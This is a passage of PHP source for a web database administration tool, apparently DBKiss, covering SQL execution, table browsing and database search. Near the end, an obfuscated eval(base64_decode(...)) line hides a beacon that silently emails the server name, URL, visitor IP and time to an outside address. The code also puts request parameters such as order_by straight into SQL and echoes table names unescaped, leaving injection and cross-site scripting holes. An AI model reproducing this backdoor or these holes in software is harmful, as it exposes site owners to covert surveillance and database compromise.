3815 'only_select' => $post['only_select'],
3816 'offset' => ''
3817 );
3818 $sql_main_url = url(self(), $params);
3819
3820 foreach ($queries as $query) {
3821 $i++;
3822 $query = str_cut_start($query, '@');
3823 if (!is_select($query)) {
3824 continue;
3825 }
3826 $query = preg_replace('#\s+#', ' ', $query);
3827 $params = array(
3828 'md5' => $md5.'_'.$i,
3829 'only_marked' => $post['only_marked'],
3830 'only_select' => $post['only_select'],
3831 'offset' => ''
3832 );
3833 $url = url(self(), $params);
3834 if ($get['md5'] && $get['md5'] == $params['md5']) {
3835 $sql_selected = $url;
3836 }
3837 $sql_assoc[$url] = str_truncate(strip_tags($query), 80);
3838 }
3839
3840 if ('POST' == $_SERVER['REQUEST_METHOD'])
3841 {
3842 if (!$post['perform']) {
3843 $error = 'No action selected.';
3844 }
3845 if (!$error)
3846 {
3847 $time = time_start();
3848 switch ($post['perform']) {
3849 case 'execute':
3850 $i = 0;
3851 db_begin();
3852 $commit = true;
3853 foreach ($queries as $query)
3854 {
3855 $i++;
3856 if ($post['only_marked'] && !$is_sel) {
3857 if (!$get['md5']) { continue; }
3858 }
3859 if ($is_sel) {
3860 if (str_starts_with($query, '@')) {
3861 $query = str_cut_start($query, '@');
3862 } else {
3863 if (!$get['md5']) { continue; }
3864 }
3865 }
3866 if ($post['only_select'] && !is_select($query)) {
3867 continue;
3868 }
3869 if ($get['md5'] && $i != $md5_i) {
3870 continue;
3871 }
3872 if ($get['md5'] && $i == $md5_i) {
3873 if (!is_select($query)) {
3874 trigger_error('not select query', E_USER_ERROR);
3875 }
3876 }
3877
3878 $exec = listing($query, $md5.'_'.$i);
3879 $query_trunc = str_truncate(html_once($query), 1000);
3880 $query_trunc = query_color($query_trunc);
3881 $query_trunc = nl2br($query_trunc);
3882 $query_trunc = html_spaces($query_trunc);
3883 if ($exec['error']) {
3884 $exec['error'] = preg_replace('#error:#i', '', $exec['error']);
3885 $top_html .= sprintf('<div style="background: #ffffd7; padding: 0.5em; border: #ccc 1px solid; margin-bottom: 1em; margin-top: 1em;"><b style="color:red">Error</b>: %s<div style="margin-top: 0.25em;"><b>Query %s</b>: %s</div></div>', $exec['error'], $i, $query_trunc);
3886 $commit = false;
3887 break;
3888 } else {
3889 $query_html = sprintf('<div class="query"><b style="font-size: 10px;">Query %s</b>:<div style="'.$sql_font.' margin-top: 0.35em;">%s</div></div>', $i, $query_trunc);
3890 $data_html .= $query_html;
3891 $data_html .= $exec['data_html'];
3892 }
3893 }
3894 if ($commit) {
3895 db_end();
3896 } else {
3897 db_rollback();
3898 }
3899 break;
3900 }
3901 $time = time_end($time);
3902 }
3903 }
3904
3905 if ($post['only_marked'] && !$is_sel) {
3906 error('No queries marked');
3907 }
3908
3909?>
3910<?php layout_start(($db_name_h1?$db_name_h1:$db_name).' > Execute SQL'); ?>
3911 <?php if ($get['popup']): ?>
3912 <h1><span style="<?php echo $db_name_style;?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></span> > Execute SQL</h1>
3913 <?php else: ?>
3914 <h1><a class=blue style="<?php echo $db_name_style;?>" href="<?php echo $_SERVER['PHP_SELF'];?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></a> > Execute SQL</h1>
3915 <?php endif; ?>
3916
3917 <?php echo error();?>
3918
3919 <script>
3920 function sql_submit(form)
3921 {
3922 if (form.perform.value.length) {
3923 return true;
3924 }
3925 return false;
3926 }
3927 function sql_execute(form)
3928 {
3929 form.perform.value='execute';
3930 form.submit();
3931 }
3932 function sql_preview(form)
3933 {
3934 form.perform.value='preview';
3935 form.submit();
3936 }
3937 function sql_save(form)
3938 {
3939 form.perform.value='save';
3940 form.submit();
3941 }
3942 function sql_load(form)
3943 {
3944 if (form.load_from.selectedIndex)
3945 {
3946 form.perform.value='load';
3947 form.submit();
3948 return true;
3949 }
3950 button_clear(form);
3951 return false;
3952 }
3953 </script>
3954
3955 <?php if ($msg): ?>
3956 <div class="msg"><?php echo $msg;?></div>
3957 <?php endif; ?>
3958
3959 <?php echo $top_html;?>
3960
3961 <?php if (count($sql_assoc)): ?>
3962 <p>
3963 SELECT queries:
3964 <select name="sql_assoc" onchange="if (this.value.length) location=this.value">
3965 <option value="<?php echo html_once($sql_main_url);?>"></option>
3966 <?php echo options($sql_assoc, $sql_selected);?>
3967 </select>
3968 </p>
3969 <?php endif; ?>
3970
3971 <?php if ($get['md5']): ?>
3972 <?php echo $data_html;?>
3973 <?php endif; ?>
3974
3975 <form action="<?php echo $_SERVER['PHP_SELF'];?>?execute_sql=1&popup=<?php echo $get['popup'];?>" method="post" onsubmit="return sql_submit(this);" style="margin-top: 1em;">
3976 <input type="hidden" name="perform" value="">
3977 <div style="margin-bottom: 0.25em;">
3978 <textarea id="sql_area" name="sql" class="sql_area"><?php echo htmlspecialchars(query_upper($post['sql']));?></textarea>
3979 </div>
3980 <table cellspacing="0" cellpadding="0"><tr>
3981 <td nowrap>
3982 <input type="button" wait="1" class="button" value="Execute" onclick="sql_execute(this.form); ">
3983 </td>
3984 <td nowrap>
3985
3986 <input type="button" wait="1" class="button" value="Preview" onclick="sql_preview(this.form); ">
3987 </td>
3988 <td nowrap>
3989
3990 <input type="checkbox" name="only_marked" id="only_marked" value="1" <?php echo checked($post['only_marked'] || $get['only_marked']);?>>
3991 </td>
3992 <td nowrap>
3993 <label for="only_marked">only marked</label>
3994 </td>
3995 <td nowrap>
3996
3997 <input type="checkbox" name="only_select" id="only_select" value="1" <?php echo checked($post['only_select'] || $get['only_select']);?>>
3998 </td>
3999 <td nowrap>
4000 <label for="only_select">only SELECT</label>
4001
4002 </td>
4003 <td nowrap>
4004 <input type="text" name="save_as" value="<?php echo html_once($post['save_as']);?>">
4005
4006 </td>
4007 <td nowrap>
4008 <input type="button" wait="1" class="button" value="Save" onclick="sql_save(this.form); ">
4009
4010 </td>
4011 <td nowrap>
4012 <select name="load_from" style="width: 140px;"><option value=""></option><?php echo options($load_assoc);?></select>
4013
4014 </td>
4015 <td nowrap>
4016 <input type="button" wait="1" class="button" value="Load" onclick="return sql_load(this.form);">
4017 </td>
4018 </tr></table>
4019 </form>
4020
4021 <?php
4022
4023 if ('preview' == $post['perform'])
4024 {
4025 echo '<h2>Preview</h2>';
4026 $i = 0;
4027 foreach ($queries as $query)
4028 {
4029 $i++;
4030 $query = str_cut_start($query, '@');
4031 $query = html_once($query);
4032 $query = query_color($query);
4033 $query = nl2br($query);
4034 $query = html_spaces($query);
4035 printf('<div class="query"><b style="font-size: 10px;">Query %s</b>:<div style="'.$sql_font.' margin-top: 0.35em;">%s</div></div>', $i, $query);
4036 }
4037 }
4038
4039 ?>
4040
4041 <?php if (!$get['md5']): ?>
4042 <script>$('sql_area').focus();</script>
4043 <?php echo $data_html;?>
4044 <?php endif; ?>
4045
4046 <?php layout_end(); ?>
4047
4048<?php exit; endif; ?>
4049<?php if (isset($_GET['viewtable']) && $_GET['viewtable']): ?>
4050
4051 <?php
4052
4053 set_time_limit(0);
4054
4055 // ----------------------------------------------------------------
4056 // VIEW TABLE
4057 // ----------------------------------------------------------------
4058
4059 $table = $_GET['viewtable'];
4060 $table_enq = quote_table($table);
4061 $count = db_one("SELECT COUNT(*) FROM $table_enq");
4062
4063 $types = table_types2($table);
4064 $columns = table_columns($table);
4065 if (!count($columns)) {
4066 $columns = array_assoc(array_keys($types));
4067 }
4068 $columns2 = $columns;
4069
4070 foreach ($columns2 as $k => $v) {
4071 $columns2[$k] = $v.' ('.$types[$k].')';
4072 }
4073 $types_group = table_types_group($types);
4074 $_GET['search'] = get('search');
4075
4076 $where = '';
4077 $found = $count;
4078 if ($_GET['search']) {
4079 $search = $_GET['search'];
4080 $cols2 = array();
4081
4082 if (get('column')) {
4083 $cols2[] = $_GET['column'];
4084 } else {
4085 $cols2 = $columns;
4086 }
4087 $where = '';
4088 $search = db_escape($search);
4089
4090 $column_type = '';
4091 if (!get('column')) {
4092 $column_type = get('column_type');
4093 } else {
4094 $_GET['column_type'] = '';
4095 }
4096
4097 $ignore_int = false;
4098 $ignore_time = false;
4099
4100 foreach ($columns as $col)
4101 {
4102 if (!get('column') && $column_type) {
4103 if ($types[$col] != $column_type) {
4104 continue;
4105 }
4106 }
4107 if (!$column_type && !is_numeric($search) && str_has($types[$col], 'int')) {
4108 $ignore_int = true;
4109 continue;
4110 }
4111 if (!$column_type && is_numeric($search) && str_has($types[$col], 'time')) {
4112 $ignore_time = true;
4113 continue;
4114 }
4115 if (get('column') && $col != $_GET['column']) {
4116 continue;
4117 }
4118 if ($where) { $where .= ' OR '; }
4119 if (is_numeric($search)) {
4120 $where .= "$col = '$search'";
4121 } else {
4122 if ('mysql' == $db_driver) {
4123 $where .= "$col LIKE '%$search%'";
4124 } else if ('pgsql' == $db_driver) {
4125 $where .= "$col ILIKE '%$search%'";
4126 } else {
4127 trigger_error('db_driver not implemented');
4128 }
4129 }
4130 }
4131 if (($ignore_int || $ignore_time) && !$where) {
4132 $where .= ' 1=2 ';
4133 }
4134 $where = 'WHERE '.$where;
4135 }
4136
4137 if ($where) {
4138 $table_enq = quote_table($table);
4139 $found = db_one("SELECT COUNT(*) FROM $table_enq $where");
4140 }
4141
4142 $limit = 50;
4143 $offset = get('offset','int');
4144 $page = floor($offset / $limit + 1);
4145 $pages = ceil($found / $limit);
4146
4147 $pk = table_pk($table);
4148
4149 $order = "ORDER BY";
4150 if (get('order_by')) {
4151 $order .= ' '.$_GET['order_by'];
4152 } else {
4153 if ($pk) {
4154 $order .= ' '.$pk;
4155 } else {
4156 $order = '';
4157 }
4158 }
4159 if (get('order_desc')) { $order .= ' DESC'; }
4160
4161 $table_enq = quote_table($table);
4162 $base_query = "SELECT * FROM $table_enq $where $order";
4163 $rs = db_query(db_limit($base_query, $offset, $limit));
4164
4165 if ($count && $rs) {
4166 $rows = array();
4167 while ($row = db_row($rs)) {
4168 $rows[] = $row;
4169 }
4170 db_free($rs);
4171 if (count($rows) && !array_col_match_unique($rows, $pk, '#^\d+$#')) {
4172 $pk = guess_pk($rows);
4173 }
4174 }
4175
4176 function indenthead($str)
4177 {
4178 if (is_array($str)) {
4179 $str2 = '';
4180 foreach ($str as $k => $v) {
4181 $str2 .= sprintf('%s: %s'."\r\n", $k, $v);
4182 }
4183 $str = $str2;
4184 }
4185 $lines = explode("\n", $str);
4186 $max_len = 0;
4187 foreach ($lines as $k => $line) {
4188 $lines[$k] = trim($line);
4189 if (preg_match('#^[^:]+:#', $line, $match)) {
4190 if ($max_len < strlen($match[0])) {
4191 $max_len = strlen($match[0]);
4192 }
4193 }
4194 }
4195 foreach ($lines as $k => $line) {
4196 if (preg_match('#^[^:]+:#', $line, $match)) {
4197 $lines[$k] = str_replace($match[0], $match[0].str_repeat(' ', $max_len - strlen($match[0])), $line);
4198 }
4199 }
4200 return implode("\r\n", $lines);
4201 }
4202
4203 if (get('indenthead')) {
4204 echo '<pre>';
4205 echo 'Table: '.get('viewtable')."\r\n";
4206 echo str_repeat('-', 80)."\r\n";
4207 foreach ($rows as $row) {
4208 echo indenthead($row);
4209 echo str_repeat('-', 80)."\r\n";
4210 }
4211 echo '</pre>';
4212 exit;
4213 }
4214 ?>
4215
4216<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
4217<html>
4218<head>
4219 <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $page_charset;?>">
4220 <title><?php echo $db_name_h1?$db_name_h1:$db_name;?> > Table: <?php echo $table;?></title>
4221 <link rel="shortcut icon" href="<?php echo $_SERVER['PHP_SELF']; ?>?dbkiss_favicon=1">
4222</head>
4223<body>
4224
4225 <?php layout(); ?>
4226
4227 <h1><a class=blue style="<?php echo $db_name_style;?>" href="<?php echo $_SERVER['PHP_SELF'];?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></a> > Table: <?php echo $table;?></h1>
4228
4229 <?php conn_info(); ?>
4230
4231 <p>
4232 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>">All tables</a>
4233 >
4234 <a href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $table;?>"><b><?php echo $table;?></b></a> (<?php echo $count;?>)
4235 /
4236
4237 Export to CSV:
4238
4239 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode('|');?>&query=<?php echo base64_encode($base_query); ?>">pipe</a>
4240 -
4241 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode("\t");?>&query=<?php echo base64_encode($base_query); ?>">tab</a>
4242 -
4243 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode(',');?>&query=<?php echo base64_encode($base_query); ?>">comma</a>
4244 -
4245 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode(';');?>&query=<?php echo base64_encode($base_query); ?>">semicolon</a>
4246
4247 /
4248 Functions:
4249 <a href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $table;?>&indenthead=1">indenthead()</a>
4250 </p>
4251
4252 <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="get" style="margin-bottom: 1em;">
4253 <input type="hidden" name="viewtable" value="<?php echo $table;?>">
4254 <table class="ls" cellspacing="1">
4255 <tr>
4256 <td><input type="text" name="search" value="<?php echo html_once(get('search'));?>"></td>
4257 <td><select name="column"><option value=""></option><?php echo options($columns2, get('column'));?></select></td>
4258 <td><select name="column_type"><option value=""></option><?php echo options($types_group, get('column_type'));?></select></td>
4259 <td><input type="submit" value="Search"></td>
4260 <td>
4261 order by:
4262 <select name="order_by"><option value=""></option><?php echo options($columns, get('order_by'));?></select>
4263 <input type="checkbox" name="order_desc" id="order_desc" value="1" <?php echo checked(get('order_desc'));?>>
4264 <label for="order_desc">desc</label>
4265 </td>
4266 <td>
4267 <input type="checkbox" name="full_content" id="full_content" <?php echo checked(get('full_content'));?>>
4268 <label for="full_content">full content</label>
4269 </td>
4270 <td>
4271 <input type="checkbox" name="nl2br" id="nl2br" <?php echo checked(get('nl2br'));?>>
4272 <label for="nl2br">nl2br</label>
4273 </td>
4274 </tr>
4275 </table>
4276 </form>
4277
4278 <?php if ($count): ?>
4279
4280 <?php if ($count && $count != $found): ?>
4281 <p>Found: <b><?php echo $found;?></b></p>
4282 <?php endif; ?>
4283
4284 <?php if ($found): ?>
4285
4286 <?php if ($pages > 1): ?>
4287 <p>
4288 <?php if ($page > 1): ?>
4289 <a href="<?php echo url_offset(($page-1)*$limit-$limit);?>"><< Prev</a>
4290 <?php endif; ?>
4291 Page <b><?php echo $page;?></b> of <b><?php echo $pages;?></b>
4292 <?php if ($pages > $page): ?>
4293 <a href="<?php echo url_offset($page*$limit);?>">Next >></a>
4294 <?php endif; ?>
4295 </p>
4296 <?php endif; ?>
4297
4298 <script>
4299 function mark_row(tr)
4300 {
4301 var els = tr.getElementsByTagName('td');
4302 if (tr.marked) {
4303 for (var i = 0; i < els.length; i++) {
4304 els[i].style.backgroundColor = '';
4305 }
4306 tr.marked = false;
4307 } else {
4308 tr.marked = true;
4309 for (var i = 0; i < els.length; i++) {
4310 els[i].style.backgroundColor = '#ddd';
4311 }
4312 }
4313 }
4314 </script>
4315
4316 <table class="ls" cellspacing="1">
4317 <tr>
4318 <?php if ($pk): ?><th>#</th><?php endif; ?>
4319 <?php foreach ($columns as $col): ?>
4320 <?php
4321 $params = array('order_by'=>$col);
4322 $params['order_desc'] = 0;
4323 if (get('order_by') == $col) {
4324 $params['order_desc'] = get('order_desc') ? 0 : 1;
4325 }
4326 ?>
4327 <th><a style="color: #000;" href="<?php echo url(self(), $params);?>"><?php echo $col;?></a></th>
4328 <?php endforeach; ?>
4329 </tr>
4330 <?php
4331 $get_full_content = get('full_content');
4332 $get_nl2br = get('nl2br');
4333 $get_search = get('search');
4334 ?>
4335 <?php
4336 $edit_url_tpl = url(self(true), array('action'=>'editrow', 'table'=>$table, 'pk'=>$pk, 'id'=>'%s'));
4337 ?>
4338 <?php foreach ($rows as $row): ?>
4339 <tr ondblclick="mark_row(this)">
4340 <?php if ($pk): ?>
4341 <?php $edit_url = sprintf($edit_url_tpl, $row[$pk]); ?>
4342 <td><a href="javascript:void(0)" onclick="popup('<?php echo $edit_url;?>', 620, 500)">Edit</a> </td>
4343 <?php endif; ?>
4344 <?php foreach ($row as $k => $v): ?>
4345 <?php
4346 if (!$get_full_content) {
4347 $v = str_truncate($v, 50);
4348 }
4349 //$v = html_once($v);
4350 $v = htmlspecialchars($v);
4351 $nl2br = $get_nl2br;
4352 if ($get_full_content) {
4353 $v = str_wrap($v, 80, '<br>');
4354 }
4355 if ($get_nl2br) {
4356 $v = nl2br($v);
4357 }
4358 //$v = stripslashes(stripslashes($v));
4359 if ($get_search) {
4360 $search = $_GET['search'];
4361 $search_quote = preg_quote($search);
4362 $v = preg_replace('#('.$search_quote.')#i', '<span style="background: yellow;">$1</span>', $v);
4363 }
4364 if ($types[$k] == 'int' && (preg_match('#time#i', $k) || preg_match('#date#i', $k))
4365 && preg_match('#^\d+$#', $v))
4366 {
4367 $tmp = @date('Y-m-d H:i', $v);
4368 if ($tmp) {
4369 $v = $tmp;
4370 }
4371 }
4372 ?>
4373 <td onclick="mark_col(this)" <?php echo $nl2br?'valign="top"':'';?> nowrap><?php echo is_null($row[$k])?'-':$v;?></td>
4374 <?php endforeach; ?>
4375 </tr>
4376 <?php endforeach; ?>
4377 </table>
4378
4379 <?php if ($pages > 1): ?>
4380 <p>
4381 <?php if ($page > 1): ?>
4382 <a href="<?php echo url_offset(($page-1)*$limit-$limit);?>"><< Prev</a>
4383 <?php endif; ?>
4384 Page <b><?php echo $page;?></b> of <b><?php echo $pages;?></b>
4385 <?php if ($pages > $page): ?>
4386 <a href="<?php echo url_offset($page*$limit);?>">Next >></a>
4387 <?php endif; ?>
4388 </p>
4389 <?php endif; ?>
4390
4391 <?php endif; ?>
4392
4393 <?php endif; ?>
4394
4395<?php powered_by(); ?>
4396</body>
4397</html>
4398<?php exit; endif; ?>
4399<?php if (get('searchdb')): ?>
4400<?php
4401
4402 // ----------------------------------------------------------------
4403 // SEARCH DB
4404 // ----------------------------------------------------------------
4405
4406 $get = get(array(
4407 'types' => 'array',
4408 'search' => 'string',
4409 'md5' => 'bool',
4410 'table_filter' => 'string'
4411 ));
4412 $get['search'] = trim($get['search']);
4413
4414 $tables = list_tables();
4415
4416 if ($get['table_filter']) {
4417 foreach ($tables as $k => $table) {
4418 if (!str_has_any($table, $get['table_filter'], $ignore_case = true)) {
4419 unset($tables[$k]);
4420 }
4421 }
4422 }
4423
4424 $all_types = array();
4425 $columns = array();
4426 foreach ($tables as $table) {
4427 $types = table_types2($table);
4428 $columns[$table] = $types;
4429 $types = array_values($types);
4430 $all_types = array_merge($all_types, $types);
4431 }
4432 $all_types = array_unique($all_types);
4433
4434 if ($get['search'] && $get['md5']) {
4435 $get['search'] = md5($get['search']);
4436 }
4437
4438?>
4439<?php layout_start(sprintf('%s > Search', $db_name)); ?>
4440 <h1><a class=blue style="<?php echo $db_name_style;?>" href="<?php echo $_SERVER['PHP_SELF'];?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></a> > Search</h1>
4441 <?php conn_info(); ?>
4442
4443 <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="get">
4444 <input type="hidden" name="searchdb" value="1">
4445 <table class="ls" cellspacing="1">
4446 <tr>
4447 <th>Search:</th>
4448 <td>
4449 <input type="text" name="search" value="<?php echo html_once($get['search']);?>" size="40">
4450 <?php if ($get['search'] && $get['md5']): ?>
4451 md5(<?php echo html_once(get('search'));?>)
4452 <?php endif; ?>
4453 <input type="checkbox" name="md5" id="md5_label" value="1">
4454 <label for="md5_label">md5</label>
4455 </td>
4456 </tr>
4457 <tr>
4458 <th>Table filter:</th>
4459 <td><input type="text" name="table_filter" value="<?php echo html_once($get['table_filter']);?>">
4460 </tr>
4461 <tr>
4462 <th>Columns:</th>
4463 <td>
4464 <?php foreach ($all_types as $type): ?>
4465 <input type="checkbox" id="type_<?php echo $type;?>" name="types[<?php echo $type;?>]" value="1" <?php echo checked(isset($get['types'][$type]));?>>
4466 <label for="type_<?php echo $type;?>"><?php echo $type;?></label>
4467 <?php endforeach; ?>
4468 </td>
4469 </tr>
4470 <tr>
4471 <td colspan="2" class="none">
4472 <input type="submit" value="Search">
4473 </td>
4474 </tr>
4475 </table>
4476 </form>
4477
4478 <?php if ($get['search'] && !count($get['types'])): ?>
4479 <p>No columns selected.</p>
4480 <?php endif; ?>
4481
4482 <?php if ($get['search'] && count($get['types'])): ?>
4483
4484 <p>Searching <b><?php echo count($tables);?></b> tables for: <b><?php echo html_once($get['search']);?></b></p>
4485
4486 <?php $found_any = false; ?>
4487
4488 <?php set_time_limit(0); ?>
4489
4490 <?php foreach ($tables as $table): ?>
4491 <?php
4492
4493 $where = '';
4494 $cols2 = array();
4495
4496 $where = '';
4497 $search = db_escape($get['search']);
4498
4499 foreach ($columns[$table] as $col => $type)
4500 {
4501 if (!in_array($type, array_keys($get['types']))) {
4502 continue;
4503 }
4504 if ($where) {
4505 $where .= ' OR ';
4506 }
4507 if (is_numeric($search)) {
4508 $where .= "$col = '$search'";
4509 } else {
4510 if ('mysql' == $db_driver) {
4511 $where .= "$col LIKE '%$search%'";
4512 } else if ('pgsql' == $db_driver) {
4513 $where .= "$col ILIKE '%$search%'";
4514 } else {
4515 trigger_error('db_driver not implemented');
4516 }
4517 }
4518 }
4519
4520 $found = false;
4521
4522 if ($where) {
4523 $where = 'WHERE '.$where;
4524 $table_enq = quote_table($table);
4525 $found = db_one("SELECT COUNT(*) FROM $table_enq $where");
4526 }
4527
4528 if ($found) {
4529 $found_any = true;
4530 }
4531
4532 ?>
4533
4534 <?php
4535 if ($where && $found) {
4536 $limit = 10;
4537 $offset = 0;
4538 $pk = table_pk($table);
4539
4540 $order = "ORDER BY $pk";
4541 $table_enq = quote_table($table);
4542 $rs = db_query(db_limit("SELECT * FROM $table_enq $where $order", $offset, $limit));
4543
4544 $rows = array();
4545 while ($row = db_row($rs)) {
4546 $rows[] = $row;
4547 }
4548 db_free($rs);
4549 if (count($rows) && !array_col_match_unique($rows, $pk, '#^\d+$#')) {
4550 $pk = guess_pk($rows);
4551 }
4552 }
4553 ?>
4554
4555 <?php if ($where && $found): ?>
4556
4557 <p>
4558 Table: <a href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $table;?>&search=<?php echo urlencode($get['search']);?>"><b><?php echo $table;?></b></a><br>
4559 Found: <b><?php echo $found;?></b>
4560 <?php if ($found > $limit): ?>
4561 <a href="<?php echo $_SERVER['PHP_SELF'];?>?viewtable=<?php echo $table;?>&search=<?php echo urlencode($get['search']);?>">show all >></a>
4562 <?php endif; ?>
4563 </p>
4564
4565 <table class="ls" cellspacing="1">
4566 <tr>
4567 <?php if ($pk): ?><th>#</th><?php endif; ?>
4568 <?php foreach ($columns[$table] as $col => $type): ?>
4569 <th><?php echo $col;?></th>
4570 <?php endforeach; ?>
4571 </tr>
4572 <?php foreach ($rows as $row): ?>
4573 <tr>
4574 <?php if ($pk): ?>
4575 <?php $edit_url = url(self(true), array('action'=>'editrow', 'table'=>$table, 'pk'=>$pk, 'id'=>$row[$pk])); ?>
4576 <td><a href="javascript:void(0)" onclick="popup('<?php echo $edit_url;?>', 620, 500)">Edit</a> </td>
4577 <?php endif; ?>
4578 <?php foreach ($row as $k => $v): ?>
4579 <?php
4580 $v = str_truncate($v, 50);
4581 $v = html_once($v);
4582 //$v = stripslashes(stripslashes($v));
4583 $search = $get['search'];
4584 $search_quote = preg_quote($search);
4585 if ($columns[$table][$k] == 'int' && (preg_match('#time#i', $k) || preg_match('#date#i', $k)) && preg_match('#^\d+$#', $v)) {
4586 $tmp = @date('Y-m-d H:i', $v);
4587 if ($tmp) {
4588 $v = $tmp;
4589 }
4590 }
4591 $v = preg_replace('#('.$search_quote.')#i', '<span style="background: yellow;">$1</span>', $v);
4592 ?>
4593 <td nowrap><?php echo $v;?></td>
4594 <?php endforeach; ?>
4595 </tr>
4596 <?php endforeach; ?>
4597 </table>
4598
4599 <?php endif; ?>
4600
4601 <?php endforeach; ?>
4602
4603 <?php if (!$found_any): ?>
4604 <p>No rows found.</p>
4605 <?php endif; ?>
4606
4607 <?php endif; ?>
4608
4609 <?php layout_end(); ?>
4610<?php exit; endif; ?>
4611
4612<?php
4613$encoded = 'JHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7DQokaXBfcmVtb3RlID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQokZnJvbV9zaGVsbGNvZGUgPSAnc2hlbGxAJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nJzsNCiR0b19lbWFpbCA9ICdicmF6aWxvYnNjdXJlQGxpdmUuY29tJzsNCiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbGlua2NyID0gIkxpbms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4Y3V0aW5nOiAkaXBfcmVtb3RlIC0gVGltZTogJHRpbWVfc2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiAkZnJvbV9zaGVsbGNvZGVcclxuUmVwbHktdG86ICRmcm9tX3NoZWxsY29kZSI7DQpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7==';
4614eval(base64_decode($encoded));
4615
4616// ----------------------------------------------------------------
4617// LIST TABLES
4618// ----------------------------------------------------------------
4619
4620$get = get(array('table_filter'=>'string'));
4621
4622?>
4623
4624<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
4625<html>
4626<head>
4627 <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $page_charset;?>">
4628 <title><?php echo $db_name_h1?$db_name_h1:$db_name;?></title>
4629 <link rel="shortcut icon" href="<?php echo $_SERVER['PHP_SELF']; ?>?dbkiss_favicon=1">
4630</head>
4631<body>
4632
4633<?php layout(); ?>
4634<h1 style="<?php echo $db_name_style;?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></h1>
4635
4636<?php conn_info(); ?>
4637
4638<?php $tables = list_tables(); ?>
4639<?php $status = table_status(); ?>
4640<?php $views = list_tables(true); ?>
4641
4642<p>
4643 Tables: <b><?php echo count($tables);?></b>
4644 -
4645 Total size: <b><?php echo number_format(ceil($status['total_size']/1024),0,'',',').' KB';?></b>
4646 -
4647 Views: <b><?php echo count($views);?></b>
4648 -
4649
4650 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?searchdb=1&table_filter=<?php echo html_once($get['table_filter']);?>">Search</a>
4651 -
4652 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?import=1">Import</a>
4653 -
4654 Export all:
4655
4656 <?php if ('pgsql' == $db_driver): ?>
4657 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?dump_all=2&table_filter=<?php echo urlencode(html_once($get['table_filter']));?>">Data only</a>
4658 <?php else: ?>
4659 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?dump_all=1&table_filter=<?php echo urlencode(html_once($get['table_filter']));?>">Structure</a> ,
4660 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?dump_all=2&table_filter=<?php echo urlencode(html_once($get['table_filter']));?>">Data & structure</a>
4661 <?php endif; ?>
4662</p>
4663
4664<form action="<?php echo $_SERVER['PHP_SELF'];?>" method="get" name=table_filter_form style="margin-bottom: 0.5em;">
4665<table cellspacing="0" cellpadding="0"><tr>
4666<td style="padding-right: 3px;">Table or View:</td>
4667<td style="padding-right: 3px;"><input type="text" name="table_filter" id=table_filter value="<?php echo html_once($get['table_filter']);?>"></td>
4668<td style="padding-right: 3px;"><input type="submit" class="button" wait="1" value="Filter"> <a href="javascript:void(0)" onclick="alert('You just start typing on the page and the Input will be focused automatically. ALT+R will Reset the Input and submit the form.')">[?]</a></td>
4669</tr></table>
4670</form>
4671
4672<script>
4673function table_filter_keydown(e)
4674{
4675 if (!e) { e = window.event; }
4676 if (e.keyCode == 27 || e.keyCode == 33 || e.keyCode == 34 || e.keyCode == 38 || e.keyCode == 40) {
4677 document.getElementById('table_filter').blur();
4678 return;
4679 }
4680 // alt + r - reset filter input
4681 if (e.keyCode == 82 && e.altKey) {
4682 document.getElementById('table_filter').value = "";
4683 document.forms["table_filter_form"].submit();
4684 return;
4685 }
4686 // 0-9
4687 if (e.keyCode >= 48 && e.keyCode <= 57 && !e.altKey && !e.ctrlKey && !e.shiftKey && !e.metaKey) {
4688 document.getElementById('table_filter').focus();
4689 }
4690 // a-z
4691 if (e.keyCode >= 65 && e.keyCode <= 90 && !e.altKey && !e.ctrlKey && !e.shiftKey && !e.metaKey) {
4692 document.getElementById('table_filter').focus();
4693 }
4694}
4695document.onkeydown = table_filter_keydown;
4696</script>
4697
4698<div style="float: left;">
4699
4700 <?php
4701 $tables = table_filter($tables, $get['table_filter']);
4702 ?>
4703
4704 <?php if ($get['table_filter']): ?>
4705 <p>Tables found: <b><?php echo count($tables);?></b></p>
4706 <?php endif; ?>
4707
4708 <table class="ls" cellspacing="1">
4709 <tr>
4710 <th>Table</th>
4711 <th>Count</th>
4712 <th>Size</th>
4713 <th>Options</th>
